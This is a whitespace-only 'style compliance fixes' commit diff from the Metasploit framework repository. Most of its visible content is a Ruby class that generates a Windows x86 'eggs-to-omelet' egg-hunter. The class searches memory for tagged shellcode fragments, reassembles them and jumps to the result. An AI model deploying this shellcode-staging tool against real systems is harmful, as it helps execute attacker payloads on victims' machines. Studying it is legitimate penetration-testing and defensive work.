style compliance fixes
git-svn-id: file:///home/svn/framework3/trunk@10173 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
d02687b755
commit
6d333eb185
1550
lib/net/ntlm.rb
1550
lib/net/ntlm.rb
File diff suppressed because it is too large
Load Diff
|
@ -8,29 +8,29 @@ module Search
|
|||
|
||||
class DumpRVA
|
||||
attr_accessor :elf
|
||||
|
||||
|
||||
def initialize(elf)
|
||||
self.elf = elf
|
||||
end
|
||||
|
||||
|
||||
def config(param)
|
||||
@address = param['args']
|
||||
end
|
||||
|
||||
|
||||
def scan(param)
|
||||
config(param)
|
||||
|
||||
|
||||
$stdout.puts "[#{param['file']}]"
|
||||
|
||||
|
||||
# Adjust based on -A and -B flags
|
||||
pre = param['before'] || 0
|
||||
suf = param['after'] || 16
|
||||
|
||||
|
||||
@address -= pre
|
||||
@address = 0 if (@address < 0 || ! @address)
|
||||
buf = elf.read_rva(@address, suf)
|
||||
$stdout.puts elf.ptr_s(@address) + " " + buf.unpack("H*")[0]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class DumpOffset < DumpRVA
|
||||
|
@ -40,7 +40,7 @@ module Search
|
|||
rescue Rex::ElfParsey::BoundsError
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,320 +1,320 @@
|
|||
require 'rex/text'
|
||||
require 'rex/arch'
|
||||
require 'metasm'
|
||||
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides an interface to generating an eggs-to-omelet hunter for win/x86.
|
||||
#
|
||||
# Written by corelanc0d3r <peter.ve@corelan.be>
|
||||
#
|
||||
###
|
||||
class Omelet
|
||||
|
||||
###
|
||||
#
|
||||
# Windows-based eggs-to-omelet hunters
|
||||
#
|
||||
###
|
||||
module Windows
|
||||
Alias = "win"
|
||||
|
||||
module X86
|
||||
Alias = ARCH_X86
|
||||
|
||||
#
|
||||
# The hunter stub for win/x86.
|
||||
#
|
||||
def hunter_stub
|
||||
{
|
||||
# option hash members go here (currently unused)
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# Generic interface
|
||||
#
|
||||
###
|
||||
|
||||
#
|
||||
# Creates a new hunter instance and acquires the sub-class that should
|
||||
# be used for generating the stub based on the supplied platform and
|
||||
# architecture.
|
||||
#
|
||||
def initialize(platform, arch = nil)
|
||||
Omelet.constants.each { |c|
|
||||
mod = self.class.const_get(c)
|
||||
|
||||
next if ((!mod.kind_of?(::Module)) or (!mod.const_defined?('Alias')))
|
||||
|
||||
if (platform =~ /#{mod.const_get('Alias')}/i)
|
||||
self.extend(mod)
|
||||
|
||||
if (arch and mod)
|
||||
mod.constants.each { |a|
|
||||
amod = mod.const_get(a)
|
||||
|
||||
next if ((!amod.kind_of?(::Module)) or
|
||||
(!amod.const_defined?('Alias')))
|
||||
|
||||
if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
|
||||
amod = mod.const_get(a)
|
||||
|
||||
self.extend(amod)
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# This method generates an eggs-to-omelet hunter using the derived hunter stub.
|
||||
#
|
||||
def generate(payload, badchars = '', opts = {})
|
||||
|
||||
eggsize = opts[:eggsize] || 123
|
||||
eggtag = opts[:eggtag] || "00w"
|
||||
searchforward = opts[:searchforward] || true
|
||||
reset = opts[:reset]
|
||||
startreg = opts[:startreg]
|
||||
usechecksum = opts[:checksum]
|
||||
adjust = opts[:adjust] || 0
|
||||
|
||||
return nil if ((opts = hunter_stub) == nil)
|
||||
|
||||
# calculate number of eggs
|
||||
payloadlen = payload.length
|
||||
delta = payloadlen / eggsize
|
||||
delta = delta * eggsize
|
||||
nr_eggs = payloadlen / eggsize
|
||||
if delta < payloadlen
|
||||
nr_eggs = nr_eggs+1
|
||||
end
|
||||
|
||||
nr_eggs_hex = "%02x" % nr_eggs
|
||||
eggsize_hex = "%02x" % eggsize
|
||||
|
||||
hextag = ''
|
||||
eggtag.split('').each do | thischar |
|
||||
decchar = "%02x" % thischar[0]
|
||||
hextag = decchar + hextag
|
||||
end
|
||||
hextag = hextag + "01"
|
||||
|
||||
# search forward or backward ?
|
||||
setflag = nil
|
||||
searchstub1 = nil
|
||||
searchstub2 = nil
|
||||
flipflagpre = ''
|
||||
flipflagpost = ''
|
||||
checksum = ''
|
||||
|
||||
if searchforward
|
||||
# clear direction flag
|
||||
setflag = "cld"
|
||||
searchstub1 = "dec edx\n\tdec edx\n\tdec edx\n\tdec edx"
|
||||
searchstub2 = "inc edx"
|
||||
else
|
||||
# set the direction flag
|
||||
setflag = "std"
|
||||
searchstub1 = "inc edx\n\tinc edx\n\tinc edx\n\tinc edx"
|
||||
searchstub2 = "dec edx"
|
||||
flipflagpre = "cld\n\tsub esi,-8"
|
||||
flipflagpost = "std"
|
||||
end
|
||||
|
||||
# will we have to adjust the destination address ?
|
||||
adjustdest = ''
|
||||
if adjust > 0
|
||||
adjustdest = "\n\tsub edi,#{adjust}"
|
||||
elsif adjust < 0
|
||||
adjustdest = "\n\tadd edi,#{adjust}"
|
||||
end
|
||||
|
||||
# prepare the stub that starts the search
|
||||
startstub = ''
|
||||
if startreg
|
||||
if startreg.downcase != 'ebp'
|
||||
startstub << "mov ebp,#{startreg}"
|
||||
end
|
||||
startstub << "\n\t" if startstub.length > 0
|
||||
startstub << "mov edx,ebp"
|
||||
end
|
||||
# a register will be used as start location for the search
|
||||
startstub << "\n\t" if startstub.length > 0
|
||||
startstub << "push esp\n\tpop edi\n\tor di,0xffff"
|
||||
startstub << adjustdest
|
||||
# edx will be used, start at end of stack frame
|
||||
if not startreg
|
||||
startstub << "\n\tmov edx,edi"
|
||||
if reset
|
||||
startstub << "\n\tpush edx\n\tpop ebp"
|
||||
end
|
||||
end
|
||||
|
||||
# reset start after each egg was found ?
|
||||
# will allow to find eggs when they are out of order/sequence
|
||||
resetstart = ''
|
||||
if reset
|
||||
resetstart = "push ebp\n\tpop edx"
|
||||
end
|
||||
|
||||
#checksum code by dijital1 & corelanc0d3r
|
||||
if usechecksum
|
||||
checksum = <<EOS
|
||||
xor ecx,ecx
|
||||
xor eax,eax
|
||||
calc_chksum_loop:
|
||||
add al,byte [edx+ecx]
|
||||
inc ecx
|
||||
cmp cl, egg_size
|
||||
jnz calc_chksum_loop
|
||||
test_chksum:
|
||||
cmp al,byte [edx+ecx]
|
||||
jnz find_egg
|
||||
EOS
|
||||
end
|
||||
|
||||
# create omelet code
|
||||
omelet_hunter = <<EOS
|
||||
|
||||
nr_eggs equ 0x#{nr_eggs_hex} ; number of eggs
|
||||
egg_size equ 0x#{eggsize_hex} ; nr bytes of payload per egg
|
||||
hex_tag equ 0x#{hextag} ; tag
|
||||
|
||||
#{setflag} ; set/clear direction flag
|
||||
jmp start
|
||||
|
||||
; routine to calculate the target location
|
||||
; for writing recombined shellcode (omelet)
|
||||
; I'll use EDI as target location
|
||||
; First, I'll make EDI point to end of stack
|
||||
; and I'll put the number of shellcode eggs in eax
|
||||
get_target_loc:
|
||||
#{startstub} ; use edx as start location for the search
|
||||
xor eax,eax ; zero eax
|
||||
mov al,nr_eggs ; put number of eggs in eax
|
||||
|
||||
calc_target_loc:
|
||||
xor esi,esi ; use esi as counter to step back
|
||||
mov si,0-(egg_size+20) ; add 20 bytes of extra space, per egg
|
||||
|
||||
get_target_loc_loop: ; start loop
|
||||
dec edi ; step back
|
||||
inc esi ; and update ESI counter
|
||||
cmp si,-1 ; continue to step back until ESI = -1
|
||||
jnz get_target_loc_loop
|
||||
dec eax ; loop again if we did not take all pieces
|
||||
; into account yet
|
||||
jnz calc_target_loc
|
||||
|
||||
; edi now contains target location
|
||||
; for recombined shellcode
|
||||
xor ebx,ebx ; put loop counter in ebx
|
||||
mov bl,nr_eggs+1
|
||||
ret
|
||||
|
||||
start:
|
||||
call get_target_loc ; jump to routine which will calculate shellcode dst address
|
||||
|
||||
; start looking for eggs, using edx as basepointer
|
||||
jmp search_next_address
|
||||
|
||||
find_egg:
|
||||
#{searchstub1} ; based on search direction
|
||||
|
||||
search_next_address:
|
||||
#{searchstub2} ; based on search direction
|
||||
push edx ; save edx
|
||||
push 0x02 ; use NtAccessCheckAndAuditAlarm syscall
|
||||
pop eax ; set eax to 0x02
|
||||
int 0x2e
|
||||
cmp al,0x5 ; address readable ?
|
||||
pop edx ; restore edx
|
||||
je search_next_address ; if addressss is not readable, go to next address
|
||||
|
||||
mov eax,hex_tag ; if address is readable, prepare tag in eax
|
||||
add eax,ebx ; add offset (ebx contains egg counter, remember ?)
|
||||
xchg edi,edx ; switch edx/edi
|
||||
scasd ; edi points to the tag ?
|
||||
xchg edi,edx ; switch edx/edi back
|
||||
jnz find_egg ; if tag was not found, go to next address
|
||||
;found the tag at edx
|
||||
|
||||
;do we need to verify checksum ? (prevents finding corrupted eggs)
|
||||
#{checksum}
|
||||
|
||||
copy_egg:
|
||||
; ecx must first be set to egg_size (used by rep instruction) and esi as source
|
||||
mov esi,edx ; set ESI = EDX (needed for rep instruction)
|
||||
xor ecx,ecx
|
||||
mov cl,egg_size ; set copy counter
|
||||
#{flipflagpre} ; flip destination flag if necessary
|
||||
rep movsb ; copy egg from ESI to EDI
|
||||
#{flipflagpost} ; flip destination flag again if necessary
|
||||
dec ebx ; decrement egg
|
||||
#{resetstart} ; reset start location if necessary
|
||||
cmp bl,1 ; found all eggs ?
|
||||
jnz find_egg ; no = look for next egg
|
||||
; done - all eggs have been found and copied
|
||||
|
||||
done:
|
||||
call get_target_loc ; re-calculate location where recombined shellcode is placed
|
||||
cld
|
||||
jmp edi ; and jump to it :)
|
||||
EOS
|
||||
|
||||
the_omelet = Metasm::Shellcode.assemble(Metasm::Ia32.new, omelet_hunter).encode_string
|
||||
|
||||
# create the eggs array
|
||||
total_size = eggsize * nr_eggs
|
||||
padlen = total_size - payloadlen
|
||||
payloadpadding = "A" * padlen
|
||||
|
||||
fullcode = payload + payloadpadding
|
||||
eggcnt = nr_eggs + 2
|
||||
startcode = 0
|
||||
|
||||
eggs = []
|
||||
while eggcnt > 2 do
|
||||
egg_prep = eggcnt.chr + eggtag
|
||||
this_egg = fullcode[startcode, eggsize]
|
||||
if usechecksum
|
||||
cksum = 0
|
||||
this_egg.each_byte { |b|
|
||||
cksum += b
|
||||
}
|
||||
this_egg << [cksum & 0xff].pack('C')
|
||||
end
|
||||
|
||||
this_egg = egg_prep + this_egg
|
||||
eggs << this_egg
|
||||
|
||||
eggcnt -= 1
|
||||
startcode += eggsize
|
||||
end
|
||||
|
||||
return [ the_omelet, eggs ]
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# Stub method that is meant to be overridden. It returns the raw stub that
|
||||
# should be used as the omelet maker (combine the eggs).
|
||||
#
|
||||
def hunter_stub
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
require 'rex/text'
|
||||
require 'rex/arch'
|
||||
require 'metasm'
|
||||
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides an interface to generating an eggs-to-omelet hunter for win/x86.
|
||||
#
|
||||
# Written by corelanc0d3r <peter.ve@corelan.be>
|
||||
#
|
||||
###
|
||||
class Omelet
|
||||
|
||||
###
|
||||
#
|
||||
# Windows-based eggs-to-omelet hunters
|
||||
#
|
||||
###
|
||||
module Windows
|
||||
Alias = "win"
|
||||
|
||||
module X86
|
||||
Alias = ARCH_X86
|
||||
|
||||
#
|
||||
# The hunter stub for win/x86.
|
||||
#
|
||||
def hunter_stub
|
||||
{
|
||||
# option hash members go here (currently unused)
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# Generic interface
|
||||
#
|
||||
###
|
||||
|
||||
#
|
||||
# Creates a new hunter instance and acquires the sub-class that should
|
||||
# be used for generating the stub based on the supplied platform and
|
||||
# architecture.
|
||||
#
|
||||
def initialize(platform, arch = nil)
|
||||
Omelet.constants.each { |c|
|
||||
mod = self.class.const_get(c)
|
||||
|
||||
next if ((!mod.kind_of?(::Module)) or (!mod.const_defined?('Alias')))
|
||||
|
||||
if (platform =~ /#{mod.const_get('Alias')}/i)
|
||||
self.extend(mod)
|
||||
|
||||
if (arch and mod)
|
||||
mod.constants.each { |a|
|
||||
amod = mod.const_get(a)
|
||||
|
||||
next if ((!amod.kind_of?(::Module)) or
|
||||
(!amod.const_defined?('Alias')))
|
||||
|
||||
if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
|
||||
amod = mod.const_get(a)
|
||||
|
||||
self.extend(amod)
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# This method generates an eggs-to-omelet hunter using the derived hunter stub.
|
||||
#
|
||||
def generate(payload, badchars = '', opts = {})
|
||||
|
||||
eggsize = opts[:eggsize] || 123
|
||||
eggtag = opts[:eggtag] || "00w"
|
||||
searchforward = opts[:searchforward] || true
|
||||
reset = opts[:reset]
|
||||
startreg = opts[:startreg]
|
||||
usechecksum = opts[:checksum]
|
||||
adjust = opts[:adjust] || 0
|
||||
|
||||
return nil if ((opts = hunter_stub) == nil)
|
||||
|
||||
# calculate number of eggs
|
||||
payloadlen = payload.length
|
||||
delta = payloadlen / eggsize
|
||||
delta = delta * eggsize
|
||||
nr_eggs = payloadlen / eggsize
|
||||
if delta < payloadlen
|
||||
nr_eggs = nr_eggs+1
|
||||
end
|
||||
|
||||
nr_eggs_hex = "%02x" % nr_eggs
|
||||
eggsize_hex = "%02x" % eggsize
|
||||
|
||||
hextag = ''
|
||||
eggtag.split('').each do | thischar |
|
||||
decchar = "%02x" % thischar[0]
|
||||
hextag = decchar + hextag
|
||||
end
|
||||
hextag = hextag + "01"
|
||||
|
||||
# search forward or backward ?
|
||||
setflag = nil
|
||||
searchstub1 = nil
|
||||
searchstub2 = nil
|
||||
flipflagpre = ''
|
||||
flipflagpost = ''
|
||||
checksum = ''
|
||||
|
||||
if searchforward
|
||||
# clear direction flag
|
||||
setflag = "cld"
|
||||
searchstub1 = "dec edx\n\tdec edx\n\tdec edx\n\tdec edx"
|
||||
searchstub2 = "inc edx"
|
||||
else
|
||||
# set the direction flag
|
||||
setflag = "std"
|
||||
searchstub1 = "inc edx\n\tinc edx\n\tinc edx\n\tinc edx"
|
||||
searchstub2 = "dec edx"
|
||||
flipflagpre = "cld\n\tsub esi,-8"
|
||||
flipflagpost = "std"
|
||||
end
|
||||
|
||||
# will we have to adjust the destination address ?
|
||||
adjustdest = ''
|
||||
if adjust > 0
|
||||
adjustdest = "\n\tsub edi,#{adjust}"
|
||||
elsif adjust < 0
|
||||
adjustdest = "\n\tadd edi,#{adjust}"
|
||||
end
|
||||
|
||||
# prepare the stub that starts the search
|
||||
startstub = ''
|
||||
if startreg
|
||||
if startreg.downcase != 'ebp'
|
||||
startstub << "mov ebp,#{startreg}"
|
||||
end
|
||||
startstub << "\n\t" if startstub.length > 0
|
||||
startstub << "mov edx,ebp"
|
||||
end
|
||||
# a register will be used as start location for the search
|
||||
startstub << "\n\t" if startstub.length > 0
|
||||
startstub << "push esp\n\tpop edi\n\tor di,0xffff"
|
||||
startstub << adjustdest
|
||||
# edx will be used, start at end of stack frame
|
||||
if not startreg
|
||||
startstub << "\n\tmov edx,edi"
|
||||
if reset
|
||||
startstub << "\n\tpush edx\n\tpop ebp"
|
||||
end
|
||||
end
|
||||
|
||||
# reset start after each egg was found ?
|
||||
# will allow to find eggs when they are out of order/sequence
|
||||
resetstart = ''
|
||||
if reset
|
||||
resetstart = "push ebp\n\tpop edx"
|
||||
end
|
||||
|
||||
#checksum code by dijital1 & corelanc0d3r
|
||||
if usechecksum
|
||||
checksum = <<EOS
|
||||
xor ecx,ecx
|
||||
xor eax,eax
|
||||
calc_chksum_loop:
|
||||
add al,byte [edx+ecx]
|
||||
inc ecx
|
||||
cmp cl, egg_size
|
||||
jnz calc_chksum_loop
|
||||
test_chksum:
|
||||
cmp al,byte [edx+ecx]
|
||||
jnz find_egg
|
||||
EOS
|
||||
end
|
||||
|
||||
# create omelet code
|
||||
omelet_hunter = <<EOS
|
||||
|
||||
nr_eggs equ 0x#{nr_eggs_hex} ; number of eggs
|
||||
egg_size equ 0x#{eggsize_hex} ; nr bytes of payload per egg
|
||||
hex_tag equ 0x#{hextag} ; tag
|
||||
|
||||
#{setflag} ; set/clear direction flag
|
||||
jmp start
|
||||
|
||||
; routine to calculate the target location
|
||||
; for writing recombined shellcode (omelet)
|
||||
; I'll use EDI as target location
|
||||
; First, I'll make EDI point to end of stack
|
||||
; and I'll put the number of shellcode eggs in eax
|
||||
get_target_loc:
|
||||
#{startstub} ; use edx as start location for the search
|
||||
xor eax,eax ; zero eax
|
||||
mov al,nr_eggs ; put number of eggs in eax
|
||||
|
||||
calc_target_loc:
|
||||
xor esi,esi ; use esi as counter to step back
|
||||
mov si,0-(egg_size+20) ; add 20 bytes of extra space, per egg
|
||||
|
||||
get_target_loc_loop: ; start loop
|
||||
dec edi ; step back
|
||||
inc esi ; and update ESI counter
|
||||
cmp si,-1 ; continue to step back until ESI = -1
|
||||
jnz get_target_loc_loop
|
||||
dec eax ; loop again if we did not take all pieces
|
||||
; into account yet
|
||||
jnz calc_target_loc
|
||||
|
||||
; edi now contains target location
|
||||
; for recombined shellcode
|
||||
xor ebx,ebx ; put loop counter in ebx
|
||||
mov bl,nr_eggs+1
|
||||
ret
|
||||
|
||||
start:
|
||||
call get_target_loc ; jump to routine which will calculate shellcode dst address
|
||||
|
||||
; start looking for eggs, using edx as basepointer
|
||||
jmp search_next_address
|
||||
|
||||
find_egg:
|
||||
#{searchstub1} ; based on search direction
|
||||
|
||||
search_next_address:
|
||||
#{searchstub2} ; based on search direction
|
||||
push edx ; save edx
|
||||
push 0x02 ; use NtAccessCheckAndAuditAlarm syscall
|
||||
pop eax ; set eax to 0x02
|
||||
int 0x2e
|
||||
cmp al,0x5 ; address readable ?
|
||||
pop edx ; restore edx
|
||||
je search_next_address ; if addressss is not readable, go to next address
|
||||
|
||||
mov eax,hex_tag ; if address is readable, prepare tag in eax
|
||||
add eax,ebx ; add offset (ebx contains egg counter, remember ?)
|
||||
xchg edi,edx ; switch edx/edi
|
||||
scasd ; edi points to the tag ?
|
||||
xchg edi,edx ; switch edx/edi back
|
||||
jnz find_egg ; if tag was not found, go to next address
|
||||
;found the tag at edx
|
||||
|
||||
;do we need to verify checksum ? (prevents finding corrupted eggs)
|
||||
#{checksum}
|
||||
|
||||
copy_egg:
|
||||
; ecx must first be set to egg_size (used by rep instruction) and esi as source
|
||||
mov esi,edx ; set ESI = EDX (needed for rep instruction)
|
||||
xor ecx,ecx
|
||||
mov cl,egg_size ; set copy counter
|
||||
#{flipflagpre} ; flip destination flag if necessary
|
||||
rep movsb ; copy egg from ESI to EDI
|
||||
#{flipflagpost} ; flip destination flag again if necessary
|
||||
dec ebx ; decrement egg
|
||||
#{resetstart} ; reset start location if necessary
|
||||
cmp bl,1 ; found all eggs ?
|
||||
jnz find_egg ; no = look for next egg
|
||||
; done - all eggs have been found and copied
|
||||
|
||||
done:
|
||||
call get_target_loc ; re-calculate location where recombined shellcode is placed
|
||||
cld
|
||||
jmp edi ; and jump to it :)
|
||||
EOS
|
||||
|
||||
the_omelet = Metasm::Shellcode.assemble(Metasm::Ia32.new, omelet_hunter).encode_string
|
||||
|
||||
# create the eggs array
|
||||
total_size = eggsize * nr_eggs
|
||||
padlen = total_size - payloadlen
|
||||
payloadpadding = "A" * padlen
|
||||
|
||||
fullcode = payload + payloadpadding
|
||||
eggcnt = nr_eggs + 2
|
||||
startcode = 0
|
||||
|
||||
eggs = []
|
||||
while eggcnt > 2 do
|
||||
egg_prep = eggcnt.chr + eggtag
|
||||
this_egg = fullcode[startcode, eggsize]
|
||||
if usechecksum
|
||||
cksum = 0
|
||||
this_egg.each_byte { |b|
|
||||
cksum += b
|
||||
}
|
||||
this_egg << [cksum & 0xff].pack('C')
|
||||
end
|
||||
|
||||
this_egg = egg_prep + this_egg
|
||||
eggs << this_egg
|
||||
|
||||
eggcnt -= 1
|
||||
startcode += eggsize
|
||||
end
|
||||
|
||||
return [ the_omelet, eggs ]
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# Stub method that is meant to be overridden. It returns the raw stub that
|
||||
# should be used as the omelet maker (combine the eggs).
|
||||
#
|
||||
def hunter_stub
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
@ -1,13 +1,13 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$: << "../lib"
|
||||
|
||||
require 'zip/zip'
|
||||
|
||||
include Zip
|
||||
|
||||
ZipOutputStream.open('simple.zip') {
|
||||
|zos|
|
||||
ze = zos.put_next_entry 'entry.txt'
|
||||
zos.puts "Hello world"
|
||||
}
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
$: << "../lib"
|
||||
|
||||
require 'zip/zip'
|
||||
|
||||
include Zip
|
||||
|
||||
ZipOutputStream.open('simple.zip') {
|
||||
|zos|
|
||||
ze = zos.put_next_entry 'entry.txt'
|
||||
zos.puts "Hello world"
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue